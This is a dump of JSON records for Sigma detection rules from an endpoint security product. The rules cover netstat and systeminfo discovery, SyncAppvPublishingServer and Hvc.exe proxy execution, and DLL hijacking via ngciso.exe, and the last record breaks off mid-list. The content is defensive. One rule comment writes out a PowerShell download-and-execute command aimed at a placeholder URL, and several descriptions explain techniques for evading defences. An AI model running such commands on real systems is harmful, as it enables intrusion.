+}
+{
+  "id": "7ef0ab65-9717-4532-ac6a-77b151ac6a3d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.613240Z",
+  "creation_date": "2026-03-23T11:45:34.613243Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.613250Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://man7.org/linux/man-pages/man8/netstat.8.html",
+    "https://attack.mitre.org/techniques/T1049/",
+    "https://attack.mitre.org/software/S0104/"
+  ],
+  "name": "t1049_netstat_linux.yml",
+  "content": "title: Network Statistics Discovered via Netstat (Linux)\nid: 7ef0ab65-9717-4532-ac6a-77b151ac6a3d\ndescription: |\n    Detects the execution of the netstat command to display the contents of various network-related data structures.\n    Attackers may use it during discovery phase to retrieve network connection statistics and gather active connections' IP and port.\n    It is recommended to look for other network discovery activities, and create a baseline of legitimate administrative netstat usage to identify potential reconnaissance activity.\nreferences:\n    - https://man7.org/linux/man-pages/man8/netstat.8.html\n    - https://attack.mitre.org/techniques/T1049/\n    - https://attack.mitre.org/software/S0104/\ndate: 2022/12/23\nmodified: 2025/10/08\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1049\n    - attack.s0104\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image: 'THIS_RULE_IS_DISABLED'\n\n    condition: selection\n\n    # selection:\n    #     Image|endswith: '/netstat'\n    #     ParentImage|startswith: '/'  # Filter-out missing parents\n    #     GrandparentImage|startswith: '/'  # Filter-out missing grandparents\n\n    # exclusion_periodic_status_network:\n    #     ParentCommandLine: '/bin/sh /etc/periodic/daily/420.status-network'\n    #     CommandLine: 'netstat -i'\n\n    # exclusion_munin:\n    #     - ParentCommandLine:\n    #         - '/bin/sh /etc/munin/plugins/*'\n    #         - '/usr/bin/sh /etc/munin/plugins/*'\n    #         - '/usr/bin/perl -wT /usr/sbin/munin-node'\n    #     - GrandparentCommandLine:\n    #         - '/usr/sbin/munin-node [127.0.0.1]'\n    #         - '/usr/sbin/munin-node [::ffff:127.0.0.1]'\n    #         - '/usr/bin/perl -wT /usr/sbin/munin-node'\n\n    # exclusion_nmon:\n    #     GrandparentImage: '/usr/bin/nmon'\n\n    # exclusion_rapid7:\n    #     ParentCommandLine|startswith:\n    #         - \"/bin/bash -c echo 'Rapid7Echo'; (LANG=C;LANGUAGE=\"\n    #         - 'bash -c LANG=C;LANGUAGE=en;netstat -plunt'\n\n    # exclusion_insights_client:\n    #     ParentImage: '/usr/bin/timeout'\n    #     GrandparentCommandLine|contains:\n    #         - '/site-packages/insights_client/run.py'\n    #         - '/bin/insights-client-run'\n    #         - '/bin/redhat-access-insights'\n\n    # exclusion_insights_client_2:\n    #     ParentCommandLine|startswith:\n    #         - '/usr/libexec/platform-python /usr/lib/python*/site-packages/insights_client/run.py '\n    #         - '/usr/bin/python /usr/lib/python*/site-packages/insights_client/run.py '\n\n    # exclusion_sap:\n    #     - ParentImage:\n    #         - '/usr/sap/hostctrl/exe/sapacosprep'\n    #         - '/usr/sap/hostctrl/exe/sapacext'\n    #     - GrandparentImage:\n    #         - '/usr/sap/hostctrl/exe/saposcol'\n\n    # exclusion_glpi_agent:\n    #     # /usr/bin/perl\n    #     # /tmp/.mount_glpi-aYA0UzH/usr/bin/perl\n    #     ParentImage: '*/usr/bin/perl'\n    #     ParentCommandLine|startswith: 'glpi-agent'\n\n    # exclusion_glpi_agent_2:\n    #     GrandparentCommandLine|contains:\n    #         - 'glpi-agent ('\n    #         - 'glpi-agent:'\n    #         - '/usr/bin/glpi-agent'\n\n    # # https://github.com/ansible/awx\n    # exclusion_ansibleawx:\n    #     User: 'ansibleawx'\n    #     GrandparentCommandLine: 'sshd: ansibleawx@notty'\n\n    # exclusion_qualys1:\n    #     GrandparentImage:\n    #         - '/usr/local/qualys/cloud-agent/bin/qualys-scan-util'\n    #         - '/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent'\n    # exclusion_qualys2:\n    #     CommandLine:\n    #         - 'netstat -nlp'\n    #         - 'netstat -pln'\n    #         - 'netstat -lnp'\n    #         - 'netstat -lntp'\n    #         - 'netstat -anup'\n    #     ParentImage: '/usr/bin/timeout'\n    #     GrandparentImage: '/usr/bin/bash'\n    # exclusion_qualys3:\n    #     CommandLine:\n    #         - 'netstat -i'\n    #         - 'netstat -an'\n    #         - 'netstat -tn'\n    #         - 'netstat -anu'\n    #         - 'netstat -atnp'\n    #         - 'netstat -tulnp'\n    #         - 'netstat -tupln'\n    #     ParentImage: '/usr/bin/timeout'\n    #     GrandparentImage: '/usr/bin/bash'\n\n    # exclusion_udscan:\n    #     - ParentImage: '/opt/microfocus/Discovery/.discagnt/udscan'\n    #     - GrandparentImage: '/opt/microfocus/Discovery/.discagnt/udscan'\n\n    # exclusion_fusioninventory:\n    #     - ParentCommandLine|startswith: 'fusioninventory-agent'\n    #     - GrandparentCommandLine|startswith:\n    #         - 'fusioninventory-agent'\n    #         - '/usr/bin/perl /usr/bin/fusioninventory-agent'\n\n    # exclusion_cpsureproxy:\n    #     ParentCommandLine: '/bin/bash /etc/rc.d/init.d/cpsureproxy-web start'\n\n    # exclusion_oracle:\n    #     - ParentImage:\n    #         - '/u01/app/oracle/product/agent*/agent_*/perl/bin/perl'\n    #         - '/u01/app/oracle/product/agent*/agent_*/oracle_common/jdk/bin/java'\n    #         - '/opt/app/oracle/agent*/agent_*/perl/bin/perl'\n    #         - '/opt/app/oracle/agent*/agent*/oracle_common/jdk/bin/java'\n    #         - '/u01/app/oracle/agent/agent_*/oracle_common/jdk/bin/java'\n    #         - '/u01/app/oracle/agent/agent_*/perl/bin/perl'\n    #     - GrandparentImage:\n    #         - '/u01/app/*/perl/bin/perl'\n    #         - '/u01/app/*/jdk/bin/java'\n    #         - '/opt/app/*/perl/bin/perl'\n    #         - '/opt/app/*/jdk/bin/java'\n    #         - '/tmp/CVU_*_resource/exectask'\n    #     - ParentCommandLine:\n    #         - '*> /tmp/CVU_*_resource/scratch/exout*.out 2>/dev/null'\n\n    # exclusion_zabbix:\n    #     - GrandparentImage: '/usr/sbin/zabbix_agent2'\n    #     - GrandparentImage|endswith: '/zabbix/sbin/zabbix_agentd'\n    #     - GrandparentCommandLine:\n    #         - '/usr/bin/perl /etc/zabbix/zabbix_agentd.d/discovery_udp_services.pl'\n    #         - '/usr/bin/perl /etc/zabbix/zabbix_agentd.d/discovery_tcp_services.pl'\n\n    # exclusion_runc:\n    #     GrandparentImage: '/usr/bin/runc'\n\n    # exclusion_tug:\n    #     GrandparentCommandLine|contains:\n    #         - '/usr/lib/tug/env/bin/python /usr/sbin/tug_sysmetrics.py'\n    #         - '/usr/bin/python3 /usr/sbin/mbg-cronlock /var/run/tug-system-metrics.lock /usr/sbin/tug_sysmetrics.py'\n    #         - '/bin/sh -c /usr/sbin/mbg-cronlock /var/run/tug-system-metrics.lock /usr/sbin/tug_sysmetrics.py'\n\n    # exclusion_zabbix:\n    #     - GrandparentImage: '/usr/sbin/zabbix_agent2'\n    #     - GrandparentCommandLine:\n    #         - '/usr/bin/perl /etc/zabbix/zabbix_agentd.d/discovery_udp_services.pl'\n    #         - '/usr/bin/perl /etc/zabbix/zabbix_agentd.d/discovery_tcp_services.pl'\n\n    # exclusion_dynamosoft:\n    #     GrandparentImage: '/opt/dynamsoft/DynamsoftService/DynamsoftService'\n\n    # exclusion_netbackup:\n    #     GrandparentImage: '/usr/openv/netbackup/bin/private/nbsu'\n\n    # exclusion_xc7controlm:\n    #     GrandparentCommandLine|contains:\n    #         - '/product/xc7controlm/ag/ctmagrec/ctm/scripts/shut-ag'\n    #         - '/product/xc7controlm/ag/ctmagrec/ctm/scripts/start-ag'\n    #         - '/product/xc7controlm/ag/ctmagrec/ctm/scripts/shagent'\n\n    # exclusion_moba:\n    #     ParentCommandLine|contains|all:\n    #         - 'sh -c while true; do sleep 1;head -v -n 8 /proc/meminfo; head -v -n 2 /proc/stat /proc/version /proc/uptime /proc/loadavg /proc/sys/fs/file-nr /proc/sys/kernel/hostname; tail -v -n ?? /proc/net/dev;echo ?==> /proc/df <==?;'\n    #         - 'echo ?==> /proc/who <==?;who;echo ?==> /proc/end <==?;echo ?##Moba##?; done'\n    #     GrandparentImage: '/usr/sbin/sshd'\n\n    # exclusion_lynis:\n    #     ParentCommandLine:\n    #         - '/bin/sh ./lynis audit system'\n    #         - '/bin/sh /usr/bin/lynis audit system --cronjob'\n    #         - '/bin/sh /usr/sbin/lynis --quick --no-colors*'\n\n    # exclusion_chkrootkit:\n    #     - ParentCommandLine:\n    #         - '/bin/sh /usr/sbin/chkrootkit'\n    #         - '/bin/bash /etc/cron.daily/chkrootkit.sh'\n    #         - '/bin/sh /etc/cron.daily/chkrootkit'\n    #     - GrandparentCommandLine:\n    #         - '/bin/bash /etc/cron.daily/chkrootkit.sh'\n    #         - '/bin/bash /bin/run-parts /etc/cron.daily'\n\n    # exclusion_wazuh:\n    #     GrandparentImage:\n    #         - '/var/ossec/bin/wazuh-syscheckd'\n    #         - '/var/ossec/bin/wazuh-logcollector'\n\n    # exclusion_pandora:\n    #     - ParentCommandLine: '/bin/bash /etc/pandora/plugins/pandora_netusage'\n    #     - GrandparentCommandLine: '/usr/bin/perl /usr/bin/pandora_agent /etc/pandora'\n\n    # exclusion_illumio_ven:\n    #     ParentImage: '/opt/illumio_ven/bin/venAgentMgr'\n\n    # exclusion_nagios:\n    #     ProcessParentCommandLine|contains: '/nagios/plugins/check_netstat '\n\n    # exclusion_isa:\n    #     ParentCommandLine: '/bin/bash /etc/init.d/isa status'\n\n    # exclusion_observium:\n    #     ParentCommandLine: '/bin/bash /usr/bin/observium_agent'\n\n    # exclusion_amp_watchdog:\n    #     GrandparentImage: '/opt/quest/kace/bin/AMPWatchDog'\n\n    # exclusion_prodige_jbossadmin:\n    #     ParentCommandLine|startswith: '/bin/bash /prodige/server/production/ord1/jbossadmin/jbossadmin '\n\n    # exclusion_iptables:\n    #     ParentCommandLine|startswith: '/bin/bash /etc/network/iptables/'\n\n    # exclusion_wicd:\n    #     ParentCommandLine|startswith: '/usr/bin/python -o /usr/share/wicd/daemon/wicd-daemon.py'\n\n    # exclusion_cfengine:\n    #     - ParentImage|startswith: '/var/cfengine/'\n    #     - ParentCommandLine|contains: '/var/cfengine/'\n\n    # exclusion_sosreport:\n    #     - GrandparentCommandLine: '/usr/bin/python /usr/sbin/sosreport'\n    #     - GrandparentCommandLine|startswith: '/usr/bin/python /usr/sbin/sosreport '\n\n    # exclusion_centreon:\n    #     - ParentCommandLine|startswith: '/usr/bin/perl /usr/lib/centreon/plugins/centreon_linux_local.pl'\n    #     - GrandparentCommandLine|startswith:\n    #         - '/usr/sbin/nrpe -c /etc/nrpe/centreon-nrpe3.cfg -f'\n    #         - '/usr/sbin/centreon-nrpe3 -c /etc/nrpe/centreon-nrpe3.cfg -d'\n\n    # exclusion_sas:\n    #     ParentCommandLine|startswith: '/opt/sas/sashome/sasprivatejavaruntimeenvironment/*/jre/bin/java'\n\n    # condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7ef0ab65-9717-4532-ac6a-77b151ac6a3d",
+  "rule_name": "Network Statistics Discovered via Netstat (Linux)",
+  "rule_description": "Detects the execution of the netstat command to display the contents of various network-related data structures.\nAttackers may use it during discovery phase to retrieve network connection statistics and gather active connections' IP and port.\nIt is recommended to look for other network discovery activities, and create a baseline of legitimate administrative netstat usage to identify potential reconnaissance activity.\n",
+  "rule_creation_date": "2022-12-23",
+  "rule_modified_date": "2025-10-08",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1049"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7ef5765c-b012-4951-9fc8-5dfa739c8d6c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075243Z",
+  "creation_date": "2026-03-23T11:45:34.075245Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075249Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/",
+    "https://twitter.com/monoxgas/status/895045566090010624",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_syncappvpublishingserver.yml",
+  "content": "title: Suspicious Proxy Execution via SyncAppvPublishingServer.exe\nid: 7ef5765c-b012-4951-9fc8-5dfa739c8d6c\ndescription: |\n    Detects the use of SyncAppvPublishingServer which is used by Microsoft Application Virtualization (App-V).\n    This binary may be abused by attackers to bypass security restrictions and execute PowerShell code.\n    It is recommended to check the behavior of the process and search for PowerShell execution to determine whether this action is legitimate. This behavior is highly suspicious if App-V is not deployed on the machine.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/\n    - https://twitter.com/monoxgas/status/895045566090010624\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2022/03/01\nmodified: 2025/01/30\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.SyncAppvPublishingServer\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_image:\n        - Image|endswith: '\\SyncAppvPublishingServer.exe'\n        - OriginalFileName: 'syncappvpublishingserver.exe'\n    selection_command:\n        # SyncAppvPublishingServer.exe n; Start-Process calc.exe\n        # SyncAppvPublishingServer.exe \"n;(New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX\"\n        CommandLine|contains: 'n;'\n    condition: all of selection_*\nlevel: medium\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7ef5765c-b012-4951-9fc8-5dfa739c8d6c",
+  "rule_name": "Suspicious Proxy Execution via SyncAppvPublishingServer.exe",
+  "rule_description": "Detects the use of SyncAppvPublishingServer which is used by Microsoft Application Virtualization (App-V).\nThis binary may be abused by attackers to bypass security restrictions and execute PowerShell code.\nIt is recommended to check the behavior of the process and search for PowerShell execution to determine whether this action is legitimate. This behavior is highly suspicious if App-V is not deployed on the machine.\n",
+  "rule_creation_date": "2022-03-01",
+  "rule_modified_date": "2025-01-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7f36c250-2b15-4c30-b99b-c77071db7a53",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.599302Z",
+  "creation_date": "2026-03-23T11:45:34.599306Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.599314Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_ngciso.yml",
+  "content": "title: DLL Hijacking via ngciso.exe\nid: 7f36c250-2b15-4c30-b99b-c77071db7a53\ndescription: |\n    Detects potential Windows DLL Hijacking via ngciso.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'ngciso.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\iumbase.DLL'\n            - '\\iumsdk.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7f36c250-2b15-4c30-b99b-c77071db7a53",
+  "rule_name": "DLL Hijacking via ngciso.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via ngciso.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7f39ba1d-5f3b-4c6d-b442-1b862570323f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087220Z",
+  "creation_date": "2026-03-23T11:45:34.087223Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087227Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/0gtweet/status/1581191005537468417",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_hvc.yml",
+  "content": "title: Proxy Execution via Hvc.exe\nid: 7f39ba1d-5f3b-4c6d-b442-1b862570323f\ndescription: |\n    Detects a suspicious execution of Hvc.exe as a proxy to launch another application.\n    Attackers can set a command to be executed by Hvc in the HV_SSH_COMMAND environment variable.\n    This technique can be used to bypass defensive measures.\n    It is recommended to analyze the process responsible for the execution of Hvc.exe as well as to look for malicious actions performed by child processes.\nreferences:\n    - https://twitter.com/0gtweet/status/1581191005537468417\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2022/10/27\nmodified: 2025/02/04\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_grandparent:\n        GrandparentCommandLine|contains|all:\n            - 'ssh'\n            - 'dummyparam'\n\n    selection_parent:\n        ParentCommandLine|endswith: '\\cmd.exe /c * -o ProxyCommand=* nc -t vsock,ip --ssh --host-prefix hyper-v/ \"%h\" %p -o HostName=hyper-v/%h dummyparam'\n\n    exclusion_sitekiosk:\n        ParentCommandLine|startswith: '?:\\Program Files (x86)\\SiteKiosk\\SiteKiosk.exe'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7f39ba1d-5f3b-4c6d-b442-1b862570323f",
+  "rule_name": "Proxy Execution via Hvc.exe",
+  "rule_description": "Detects a suspicious execution of Hvc.exe as a proxy to launch another application.\nAttackers can set a command to be executed by Hvc in the HV_SSH_COMMAND environment variable.\nThis technique can be used to bypass defensive measures.\nIt is recommended to analyze the process responsible for the execution of Hvc.exe as well as to look for malicious actions performed by child processes.\n",
+  "rule_creation_date": "2022-10-27",
+  "rule_modified_date": "2025-02-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7f521bea-fbfa-4c6c-8d8b-391265ec0d9c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622488Z",
+  "creation_date": "2026-03-23T11:45:34.622490Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622495Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1082/",
+    "https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/",
+    "https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong",
+    "https://www.cisa.gov/news-events/analysis-reports/ar20-198a",
+    "https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/",
+    "https://www.netscout.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia"
+  ],
+  "name": "t1082_systeminfo.yml",
+  "content": "title: Systeminfo Execution\nid: 7f521bea-fbfa-4c6c-8d8b-391265ec0d9c\ndescription: |\n    Detects the execution of systeminfo.exe.\n    Systeminfo.exe is a legitimate Microsoft binary that can be used by attackers during the discovery phase to gather detailed information about a computer.\n    It is recommended to analyze the process responsible for the execution of route.exe to look for malicious content or actions.\nreferences:\n    - https://attack.mitre.org/techniques/T1082/\n    - https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/\n    - https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong\n    - https://www.cisa.gov/news-events/analysis-reports/ar20-198a\n    - https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/\n    - https://www.netscout.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia\ndate: 2021/04/01\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1082\n    - attack.s0096\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - Image|endswith: '\\systeminfo.exe'\n        # Renamed binaries\n        - OriginalFileName: 'sysinfo.exe'\n\n    exclusion_parent:\n        ParentImage: '?:\\Windows\\explorer.exe'\n        GrandparentImage: '?:\\Windows\\System32\\userinit.exe'\n\n    exclusion_explorer:\n        ParentImage:\n            - '?:\\Windows\\System32\\cmd.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell_ise.exe'\n            - '?:\\Program Files\\PowerShell\\7\\pwsh.exe'\n        GrandparentImage: '?:\\Windows\\explorer.exe'\n\n    exclusion_programfiles:\n        - ProcessParentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        - ProcessGrandparentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_image:\n        - ParentImage:\n            - '*\\AppData\\Local\\ElsterAuthenticator\\ElsterAuthenticator.exe'\n            - '?:\\pilote\\NoyauEVM\\NoyauEVM.exe'\n            - '?:\\Windows\\System32\\msiexec.exe'\n        - GrandparentImage:\n            - '*\\AppData\\Local\\Programs\\Alcatel-Lucent Enterprise\\Rainbow\\Rainbow.exe'\n            - '?:\\\\*\\Applications\\PatchManager\\W100TInstaller\\W100TInstallerSvc.exe'\n            - '?:\\Xilinx\\xic\\tps\\win64\\\\*\\bin\\java.exe'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\MpCmdRun.exe'\n            - '?:\\Users\\\\*\\IBM\\ClientSolutions\\Start_Programs\\Windows_x86-64\\acslaunch_win-64.exe'\n            - '?:\\ManageEngine\\UEMS_DistributionServer\\bin\\dcagentregister.exe'\n\n    exclusion_ancestors:\n        Ancestors|contains:\n            - '?:\\Program Files\\Palo Alto Networks\\Traps\\cyserver.exe'\n            - '?:\\Program Files (x86)\\Trend Micro\\Endpoint Basecamp\\EndpointBasecamp.exe'\n            - '?:\\Program Files (x86)\\Lenovo\\System Update\\SUService.exe'\n            - '?:\\Program Files\\AVAST Software\\Business Agent\\agentsvc.exe'\n            - 